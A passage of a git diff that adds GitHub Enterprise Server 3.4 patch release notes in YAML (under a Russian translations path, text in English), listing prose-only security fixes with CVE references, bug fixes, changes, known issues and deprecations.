variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + - heading: Deprecation of GitHub Enterprise Server 3.1 + notes: + - '**{% data variables.product.prodname_ghe_server %} 3.1 will be discontinued on June 3, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + + - heading: Deprecation of XenServer Hypervisor support + notes: + # https://github.com/github/docs-content/issues/4439 + - Starting in {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer was deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns. + + - heading: Deprecation of the Content Attachments API preview + notes: + # + - Due to low usage, we have deprecated the Content References API preview in {% data variables.product.prodname_ghe_server %} 3.4. The API was previously accessible with the `corsair-preview` header. Users can continue to navigate to external URLs without this API. Any registered usages of the Content References API will no longer receive a webhook notification for URLs from your registered domain(s) and we no longer return valid response codes for attempted updates to existing content attachments. + + - heading: Deprecation of the Codes of Conduct API preview + notes: + # https://github.com/github/releases/issues/1708 + - 'The Codes of Conduct API preview, which was accessible with the `scarlet-witch-preview` header, is deprecated and no longer accessible in {% data variables.product.prodname_ghe_server %} 3.4. We instead recommend using the "[Get community profile metrics](/rest/reference/repos#get-community-profile-metrics)" endpoint to retrieve information about a repository''s code of conduct. For more information, see the "[Deprecation Notice: Codes of Conduct API preview](https://github.blog/changelog/2021-10-06-deprecation-notice-codes-of-conduct-api-preview/)" in the {% data variables.product.prodname_dotcom %} changelog.' + + - heading: Deprecation of OAuth Application API endpoints and API authentication using query parameters + notes: + # https://github.com/github/releases/issues/1316 + - | + Starting with {% data variables.product.prodname_ghe_server %} 3.4, the [deprecated version of the OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#endpoints-affected) have been removed. If you encounter 404 error messages on these endpoints, convert your code to the versions of the OAuth Application API that do not have `access_tokens` in the URL. We've also disabled the use of API authentication using query parameters. We instead recommend using [API authentication in the request header](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make). + + - heading: Deprecation of the CodeQL runner + notes: + # https://github.com/github/releases/issues/1632 + - The {% data variables.product.prodname_codeql %} runner is deprecated in {% data variables.product.prodname_ghe_server %} 3.4 and is no longer supported. The deprecation only affects users who use {% data variables.product.prodname_codeql %} code scanning in third party CI/CD systems; {% data variables.product.prodname_actions %} users are not affected. We strongly recommend that customers migrate to the {% data variables.product.prodname_codeql %} CLI, which is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/). + + - heading: Deprecation of custom bit-cache extensions + notes: + # https://github.com/github/releases/issues/1415 + - | + Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are deprecated in {% data variables.product.prodname_ghe_server %} 3.3 onwards. + + Any repositories that were already present and active on {% data variables.location.product_location %} running version 3.1 or 3.2 will have been automatically updated. + + Repositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed. + + To start a repository maintenance task manually, browse to `https:///stafftools/repositories///network` for each affected repository and click the Schedule button. + + backups: + - '{% data variables.product.prodname_ghe_server %} 3.4 requires at least [GitHub Enterprise Backup Utilities 3.4.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-4/2.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-4/2.yml new file mode 100644 index 000000000000..a6e465aae21c --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-4/2.yml @@ -0,0 +1,86 @@ +date: '2022-04-20' +sections: + security_fixes: + - Packages have been updated to the latest security versions. + bugs: + - Resolved a regression that could lead to consistent failures to retrieve artifacts and download log archives for {% data variables.product.prodname_actions %}. In some circumstances we stopped resolving URLs for internal communications that used `localhost`, and instead incorrectly used the instance hostname. + - When a manifest file was deleted from a repository, the manifest would not be removed from the repository's "Dependency graph" page. + - Upgrading the nodes in a high availability pair with an upgrade package could cause Elasticsearch to enter an inconsistent state in some cases. + - Rotated log files with the extension `.backup` would accumulate in directories containing system logs. + - In some cluster topologies, the command line utilities `ghe-spokesctl` and `ghe-btop` failed to run. + - Elasticsearch indices could be duplicated during a package upgrade, due to an `elasticsearch-upgrade` service running multiple times in parallel. + - Repository cache servers could serve data from non-cache locations even when the data was available in the local cache location. + - When converting a user account to an organization, if the user account was an owner of the {% data variables.product.prodname_ghe_server %} enterprise account, the converted organization would incorrectly appear in the enterprise owner list. + - The `/stafftools/users/ip_addresses/:address` page responded with a `500 Internal Server Error` when attempting to display the page for an IPv6 address. + - Creating an impersonation OAuth token using the Enterprise Administration REST API resulted in an error when an integration matching the OAuth Application ID already existed. + + changes: + - Added support for replica domain names that are more than 63 characters. + - Configuration errors that halt a config apply run are now output to the terminal in addition to the configuration log. + - If {% data variables.product.prodname_GH_advanced_security %} features are enabled on your instance, the performance of background jobs has improved when processing batches for repository contributions. + + known_issues: + - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. + - Custom firewall rules are removed during the upgrade process. + - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. + - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. + - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results. + - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. + - | + After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17] + - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4, releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed. + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' + deprecations: + - heading: Deprecation of GitHub Enterprise Server 3.0 + notes: + - '**{% data variables.product.prodname_ghe_server %} 3.0 was discontinued on February 16, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + - heading: Deprecation of GitHub Enterprise Server 3.1 + notes: + - '**{% data variables.product.prodname_ghe_server %} 3.1 will be discontinued on June 3, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + + - heading: Deprecation of XenServer Hypervisor support + notes: + # https://github.com/github/docs-content/issues/4439 + - Starting in {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer was deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns. + + - heading: Deprecation of the Content Attachments API preview + notes: + # + - Due to low usage, we have deprecated the Content References API preview in {% data variables.product.prodname_ghe_server %} 3.4. The API was previously accessible with the `corsair-preview` header. Users can continue to navigate to external URLs without this API. Any registered usages of the Content References API will no longer receive a webhook notification for URLs from your registered domain(s) and we no longer return valid response codes for attempted updates to existing content attachments. + + - heading: Deprecation of the Codes of Conduct API preview + notes: + # https://github.com/github/releases/issues/1708 + - 'The Codes of Conduct API preview, which was accessible with the `scarlet-witch-preview` header, is deprecated and no longer accessible in {% data variables.product.prodname_ghe_server %} 3.4. We instead recommend using the "[Get community profile metrics](/rest/reference/repos#get-community-profile-metrics)" endpoint to retrieve information about a repository''s code of conduct. For more information, see the "[Deprecation Notice: Codes of Conduct API preview](https://github.blog/changelog/2021-10-06-deprecation-notice-codes-of-conduct-api-preview/)" in the {% data variables.product.prodname_dotcom %} changelog.' + + - heading: Deprecation of OAuth Application API endpoints and API authentication using query parameters + notes: + # https://github.com/github/releases/issues/1316 + - | + Starting with {% data variables.product.prodname_ghe_server %} 3.4, the [deprecated version of the OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#endpoints-affected) have been removed. If you encounter 404 error messages on these endpoints, convert your code to the versions of the OAuth Application API that do not have `access_tokens` in the URL. We've also disabled the use of API authentication using query parameters. We instead recommend using [API authentication in the request header](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make). + + - heading: Deprecation of the CodeQL runner + notes: + # https://github.com/github/releases/issues/1632 + - The {% data variables.product.prodname_codeql %} runner is deprecated in {% data variables.product.prodname_ghe_server %} 3.4 and is no longer supported. The deprecation only affects users who use {% data variables.product.prodname_codeql %} code scanning in third party CI/CD systems; {% data variables.product.prodname_actions %} users are not affected. We strongly recommend that customers migrate to the {% data variables.product.prodname_codeql %} CLI, which is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/). + + - heading: Deprecation of custom bit-cache extensions + notes: + # https://github.com/github/releases/issues/1415 + - | + Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are deprecated in {% data variables.product.prodname_ghe_server %} 3.3 onwards. + + Any repositories that were already present and active on {% data variables.location.product_location %} running version 3.1 or 3.2 will have been automatically updated. + + Repositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed. + + To start a repository maintenance task manually, browse to `https:///stafftools/repositories///network` for each affected repository and click the Schedule button. + + - heading: Theme picker for GitHub Pages has been removed + notes: + - | + The theme picker for GitHub Pages has been removed from the Pages settings. For more information about configuration of themes for GitHub Pages, see "[Adding a theme to your GitHub Pages site using Jekyll](/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll)." + + backups: + - '{% data variables.product.prodname_ghe_server %} 3.4 requires at least [GitHub Enterprise Backup Utilities 3.4.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-4/3.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-4/3.yml new file mode 100644 index 000000000000..a15e8170baec --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-4/3.yml @@ -0,0 +1,40 @@ +date: '2022-05-17' +sections: + security_fixes: + - '**MEDIUM:** A security issue in nginx resolver was identified, where an attacker who could forge UDP packets from the DNS server could cause 1-byte memory overwrite, resulting in worker process crashes or other potentially damaging impacts. The vulnerability has been assigned [CVE-2021-23017](https://nvd.nist.gov/vuln/detail/CVE-2021-23017).' + - Updated the `actions/checkout@v2` and `actions/checkout@v3` actions to address new vulnerabilities announced in the [Git security enforcement blog post](https://github.blog/2022-04-12-git-security-vulnerability-announced/). + - Packages have been updated to the latest security versions. + bugs: + - In some cluster topologies, the `ghe-cluster-status` command left behind empty directories in `/tmp`. + - SNMP incorrectly logged a high number of `Cannot statfs` error messages to syslog. + - When adding custom patterns and providing non-UTF8 test strings, match highlighting was incorrect. + - LDAP users with an underscore character (`_`) in their user names can now login successfully. + - For instances configured with SAML authentication and built-in fallback enabled, built-in users would get stuck in a “login” loop when attempting to sign in from the page generated after logging out. + - After enabling SAML encrypted assertions with Azure as identity provider, the sign in page would fail with a `500` error. + - Character key shortcut preferences weren't respected. + - Attempts to view the `git fsck` output from the `/stafftools/repositories/:owner/:repo/disk` page would fail with a `500 Internal Server Error`. + - When using SAML encrypted assertions, some assertions were not correctly marking SSH keys as verified. + - Videos uploaded to issue comments would not be rendered properly. + - When using GitHub Enterprise Importer to import a repository, some issues would fail to import due to incorrectly configured project timeline events. + - When using `ghe-migrator`, a migration would fail to import video file attachments in issues and pull requests. + - 'The Releases page would return a 500 error when the repository has tags that contain non-ASCII characters. [Updated: 2022-06-10]' + - 'Upgrades would sometimes fail while migrating dependency graph data. [Updated: 2022-06-30]' + changes: + - In high availability configurations, clarify that the replication overview page in the Management Console only displays the current replication configuration, not the current replication status. + - The Nomad allocation timeout for Dependency Graph has been increased to ensure post-upgrade migrations can complete. + - When enabling {% data variables.product.prodname_registry %}, clarify that using a Shared Access Signature (SAS) token as connection string is not currently supported. + - Support bundles now include the row count of tables stored in MySQL. + - When determining which repository networks to schedule maintenance on, we no longer count the size of unreachable objects. + - The `run_started_at` response field is now included in the [Workflow runs API](/rest/actions/workflow-runs) and the `workflow_run` event webhook payload. + known_issues: + - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. + - Custom firewall rules are removed during the upgrade process. + - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. + - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. + - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results. + - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. + - | + After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17] + - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4 releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed. + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' \ No newline at end of file diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-4/4.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-4/4.yml new file mode 100644 index 000000000000..ebf7d6769211 --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-4/4.yml @@ -0,0 +1,31 @@ +date: '2022-06-09' +sections: + security_fixes: + - Packages have been updated to the latest security versions. + bugs: + - An internal script to validate hostnames in the {% data variables.product.prodname_ghe_server %} configuration file would return an error if the hostname string started with a "." (period character). + - In HA configurations where the primary node's hostname was longer than 60 characters, MySQL would fail to be configured. + - When {% data variables.product.prodname_actions %} was enabled but TLS was disabled on {% data variables.product.prodname_ghe_server %} 3.4.1 and later, applying a configuration update would fail. + - The `--gateway` argument was added to the `ghe-setup-network` command, to allow passing the gateway address when configuring network settings using the command line. + - The [{% data variables.product.prodname_GH_advanced_security %} billing API](/rest/enterprise-admin/billing#get-github-advanced-security-active-committers-for-an-enterprise) endpoints were not enabled and accessible. + - Image attachments that were deleted would return a `500 Internal Server Error` instead of a `404 Not Found` error. + - In environments configured with a repository cache server, the `ghe-repl-status` command incorrectly showed gists as being under-replicated. + - The "Get a commit" and "Compare two commits" endpoints in the [Commit API](/rest/commits/commits) would return a `500` error if a file path in the diff contained an encoded and escaped unicode character. + - The calculation of "maximum committers across entire instance" reported in the site admin dashboard was incorrect. + - An incorrect database entry for repository replicas caused database corruption when performing a restore using {% data variables.product.prodname_enterprise_backup_utilities %}. + - The activity timeline for secret scanning alerts wasn't displayed. + changes: + - Optimised the inclusion of metrics when generating a cluster support bundle. + - In HA configurations where Elasticsearch reported a valid yellow status, changes introduced in a previous fix would block the `ghe-repl-stop` command and not allow replication to be stopped. Using `ghe-repo-stop --force` will now force Elasticsearch to stop when the service is in a normal or valid yellow status. + known_issues: + - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. + - Custom firewall rules are removed during the upgrade process. + - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. + - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. + - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results. + - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. + - | + After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17] + - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4, releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed. + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' \ No newline at end of file diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-4/5.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-4/5.yml new file mode 100644 index 000000000000..f72408ff77eb --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-4/5.yml @@ -0,0 +1,30 @@ +date: '2022-06-28' +sections: + security_fixes: + - "**MEDIUM**: Prevents an attack where an `org` query string parameter can be specified for a GitHub Enterprise Server URL that then gives access to another organization's active committers." + - "**MEDIUM**: Ensures that `github.company.com` and `github-company.com` are not evaluated by internal services as identical hostnames, preventing a potential server-side security forgery (SSRF) attack." + - "**LOW**: An attacker could access the Management Console with a path traversal attack via HTTP even if external firewall rules blocked HTTP access." + - Packages have been updated to the latest security versions. + bugs: + - Files inside an artifact archive were unable to be opened after decompression due to restrictive permissions. + - Redis timeouts no longer halt database migrations while running `ghe-config-apply`. + - Background job processors would get stuck in a partially shut-down state, resulting in certain kinds of background jobs (like code scanning) appearing stuck. + - In some cases, site administrators were not automatically added as enterprise owners. + - A rendering issue could affect the dropdown list for filtering secret scanning alerts in a repository. + changes: + - Improved the performance of Dependabot version updates after first enabled. + - The GitHub Pages build and synchronization timeouts are now configurable in the Management Console. + - Creating or updating check runs or check suites could return `500 Internal Server Error` if the value for certain fields, like the name, was too long. + - When [deploying cache-server nodes](/admin/enterprise-management/caching-repositories/configuring-a-repository-cache#configuring-a-repository-cache), it is now mandatory to describe the datacenter topology (using the `--datacenter` argument) for every node in the system. This requirement prevents situations where leaving datacenter membership set to "default" leads to workloads being inappropriately balanced across multiple datacenters. + known_issues: + - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. + - Custom firewall rules are removed during the upgrade process. + - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. + - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. + - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results. + - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. + - | + After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. + - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4, releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed. + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' \ No newline at end of file diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-4/6.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-4/6.yml new file mode 100644 index 000000000000..c1f8fa7628cf --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-4/6.yml @@ -0,0 +1,34 @@ +date: '2022-07-21' +sections: + security_fixes: + - "**MEDIUM**: Prevents an attack where a server-side request forgery (SSRF) could potentially force the Subversion (SVN) bridge to execute remote code by injecting arbitrary data into Memcached." + - "**MEDIUM**: Prevents an attacker from executing Javascript code by exploiting a cross-site scripting (XSS) vulnerability in dropdown UI elements within the GitHub Enterprise Server web interface." + - Updates Grafana to version 7.5.16, which addresses various security vulnerabilities including [CVE-2020-13379](https://github.com/advisories/GHSA-wc9w-wvq2-ffm9) and [CVE-2022-21702](https://github.com/grafana/grafana/security/advisories/GHSA-xc3p-28hw-q24g). + - Packages have been updated to the latest security versions. + - "**MEDIUM**: A stored XSS vulnerability was identified in GitHub Enterprise Server that allowed the injection of arbitrary attributes. This injection was blocked by Github's Content Security Policy (CSP). This vulnerability was reported via the GitHub Bug Bounty program and has been assigned [CVE-2022-23733](https://www.cve.org/CVERecord?id=CVE-2022-23733). [Updated: 2022-07-31]" + - "**MEDIUM**: A vulnerability involving deserialization of untrusted data was identified in GitHub Enterprise Server that could potentially lead to remote code execution on the Subversion (SVN) bridge. To exploit this vulnerability, an attacker would need to gain access via a server-side request forgery (SSRF) that would let an attacker control the data being deserialized. This vulnerability was reported via the GitHub Bug Bounty program and has been assigned [CVE-2022-23734](https://www.cve.org/CVERecord?id=CVE-2022-23734)." + bugs: + - In some cases, the collectd daemon could consume excess memory. + - In some cases, backups of rotated log files could accumulate and consume excess storage. + - After an upgrade to a new feature release and subsequent configuration run, Elasticsearch could log excessive exceptions while rebuilding indices. + - In some cases where a protected branch required more than one approving review, a pull request could be merged with fewer than the required number of approving reviews. + - On instances using LDAP authentication, the authentication prompt for sudo mode incorrectly placed the cursor within the password field by default when text fields for both a username and password were visible. + - In some cases, scheduled GitHub Actions workflows could become disabled. + - The Billing API's "[Get GitHub Advanced Security active committers for an organization](/rest/billing#get-github-advanced-security-active-committers-for-an-organization)" endpoint now returns `Link` headers to provide information about pagination. + - The Billing API's "[Get GitHub Advanced Security active committers for an organization](/rest/billing#get-github-advanced-security-active-committers-for-an-organization)" endpoint now returns the correct number of total committers. + changes: + - The `ghe-set-password` command-line utility starts required services automatically when the instance is booted in recovery mode. + - Metrics for `aqueduct` background processes are gathered for Collectd forwarding and display in the Management Console. + - The location of the database migration and configuration run log, `/data/user/common/ghe-config.log`, is now displayed on the page that details a migration in progress. + known_issues: + - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. + - Custom firewall rules are removed during the upgrade process. + - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. + - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. + - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results. + - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. + - | + After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17] + - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4, releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed. + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-4/7.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-4/7.yml new file mode 100644 index 000000000000..080d90353b9c --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-4/7.yml @@ -0,0 +1,26 @@ +date: '2022-08-11' +sections: + security_fixes: + - | + **CRITICAL**: GitHub Enterprise Server's Elasticsearch container used a version of OpenJDK 8 that was vulnerable to an integer truncation issue when processing malicious XSLT stylesheets. The vulnerability is tracked as [CVE-2022-34169](https://github.com/advisories/GHSA-9339-86wc-4qgf). + - | + **HIGH**: Previously installed apps on user accounts were automatically granted permission to access an organization on scoped access tokens after the user account was transformed into an organization account. This vulnerability was reported via the [GitHub Bug Bounty program](https://bounty.github.com). + bugs: + - In some cases, GitHub Enterprise Server instances on AWS that used the `r4.4xlarge` instance type would fail to boot. + - When calculating committers for GitHub Advanced Security, it was not possible to specify individual repositories. For more information, see "[Site admin dashboard](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#advanced-security-committers)." + - When a custom dormancy threshold was set for the instance, suspending all dormant users did not reliably respect the threshold. For more information about dormancy, see "[Managing dormant users](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)." + changes: + - '`pre_receive_hook.rejected_push` events were not displayed in the enterprise audit log.' + - Both migration archives for repositories and archive exports for user accounts include release reactions. + known_issues: + - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. + - Custom firewall rules are removed during the upgrade process. + - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. + - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. + - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results. + - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. + - | + After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17] + - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4, releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed. + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-4/8.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-4/8.yml new file mode 100644 index 000000000000..6353897f97ff --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-4/8.yml @@ -0,0 +1,26 @@ +date: '2022-08-30' +sections: + bugs: + - After unlocking a repository for temporary access, a site administrator was unable to manage settings for security products in the repository. + - Duplicate administrative SSH keys could appear in both the Management Console and the `/home/admin/.ssh/authorized_keys` file. + - The site admin page for individual users at http(s)://HOSTNAME/stafftools/users/USERNAME/admin contained functionality not intended for GitHub Enterprise Server. + - In some cases, running `ghe-cluster-config-apply` could replicate an empty configuration to existing nodes in a cluster. + - In some cases, configuration runs started with `ghe-config-apply` did not complete, or returned a `Container count mismatch` error. + - After updating a self-signed TLS certificate on a GitHub Enterprise Server instance, UI elements on some pages in the web interface did not appear. + - In some cases, background tasks could stall due to a library that was used concurrently despite not being thread-safe. + changes: + - Generation of support bundles is faster as a result of parallelized log sanitization. For more information about support bundles, see "[Providing data to GitHub Support](/support/contacting-github-support/providing-data-to-github-support)." + - APIs that contain the `organization` or `org` route now accept either the organization's slug or ID. Previously, the APIs only accepted slugs, which caused `Link` headers for GitHub Advanced Security endpoints to be inaccessible. For more information, see "[Organizations](https://docs.github.com/rest/orgs/orgs)" in the REST API documentation. + - The enterprise audit log now includes more user-generated events, such as `project.create`. The REST API also returns additional user-generated events, such as `repo.create`. For more information, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)" and "[Using the audit log API for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise#querying-the-audit-log-rest-api)." + known_issues: + - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. + - Custom firewall rules are removed during the upgrade process. + - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. + - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. + - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results. + - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. + - | + After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17] + - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4, releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed. + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-5/0-rc1.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-5/0-rc1.yml new file mode 100644 index 000000000000..527354bda7d6 --- /dev/null +++ 